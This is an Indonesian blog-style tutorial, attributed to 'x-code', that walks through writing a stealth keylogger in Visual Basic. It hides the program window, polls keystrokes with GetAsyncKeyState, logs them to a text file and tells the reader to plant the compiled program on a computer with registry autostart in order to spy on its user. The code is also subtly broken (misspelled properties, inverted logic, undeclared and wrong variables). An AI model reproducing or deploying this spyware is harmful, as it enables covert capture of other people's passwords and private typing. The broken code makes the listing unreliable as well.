Membuat Keylogger Sendiri

Buka visual basic (beli program asli nya ya, jangan bajakan)
trusss kita butuh main form dan begitu program di jalankan semua nya
serba tersembunyi baik oleh mata kita maupun oleh komputer
klik 2 kali pada form lalu isi code di bawah ini

====== code ==========
Private Sub Form_Load()
Me.Visisble = False
event App.TaskVisible = False
End Sub
=====================

trus apa lagi ya ???????
tentu nya kita harus merekam aktifitas yang di lakukan pada komputer
ada 3 metode yang dapat kita gunakan yaitu :
- GetAsyncKeyState
- GetKeyboardState
- Windows Hooks
truss gimana dunk????
pake yang mudah aja yah kita pake GetAsyncKeyState .... ngapain pake yang susah
lalu kita ketikkan lagi code dibawah ini

============code ==========
Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer
===========================
truss apa lagi yaa???????
kita gunakan imajinasi kita
nah kita kan pengen program ini berjalan selama sistem operasi berjalan
jadi ada 2 kemungkinan yang bisa kita gunakan
yaitu :
Do While 1=1
'untuk (GetAsyncKeyState) function Loop
dan
Private Sub tmrTimer_Timer()
'untuk lanjutkan command keystroke
End Sub

nah pilih yang mana ?????
yang mudah aja yah kita pake timer
lalu kita tambahkan object timer di form kita
kemudian
kita harus bisa menyuruh komputer agar bisa membaca apakah keyboard di tekan apa tidak
logika nya :
If GAKS(65)<>0 Then
Msgbox "tombol 'A' tidak di pencet"
Else
Msgbox "tombol 'A' di pencet"
End If
nahhh kita tentu harus menyimpan file nya agar kita bisa mengintip apa
yang dia kerjakan.
maka kita harus menambahkan kode di bawah ini pada object timer.


========= code =======
Private Sub tmrTimer_Timer()
Dim i As Integer
Const timelimit As Integer = 10
Static data As String
For i=0 To 255 'for all the ASCII codes
If GAKS(i)<>0 Then
If count(i) = 0 Then 'if the key has just been pressed
data = data & Chr(i)
ElseIf count(i) < timelimit Then
count(i) = count(i) + 1 'add 1 to the key count
Else
count(i) = 0 'initialize the count
data = data & Chr(i)
End If
Else 'if the key is not being pressed
count(i) = 0
End If
Next i
Open App.Path & "\logfile.txt" For Append As #1 'tempat dimana kita menyimpan file nya
Print #1, Chr(keycode);
Close #1
End Sub
======================


truss apa lagi dunk????
jangan kebanyakan nanya....
compile file nya jadi .exe dan masukkan ke komputer lalu set
program kita di auto startup di regedit
selesai
=====================================================================
WARNING !!!
saya tidak bertanggung jawab atas penyalahgunaan dari artikel ini
dan sekali lagi, ini hanya sebagai ilmu pengetahuan belaka.


//sumber x-code//





-----------------------------------end--------------------------------------------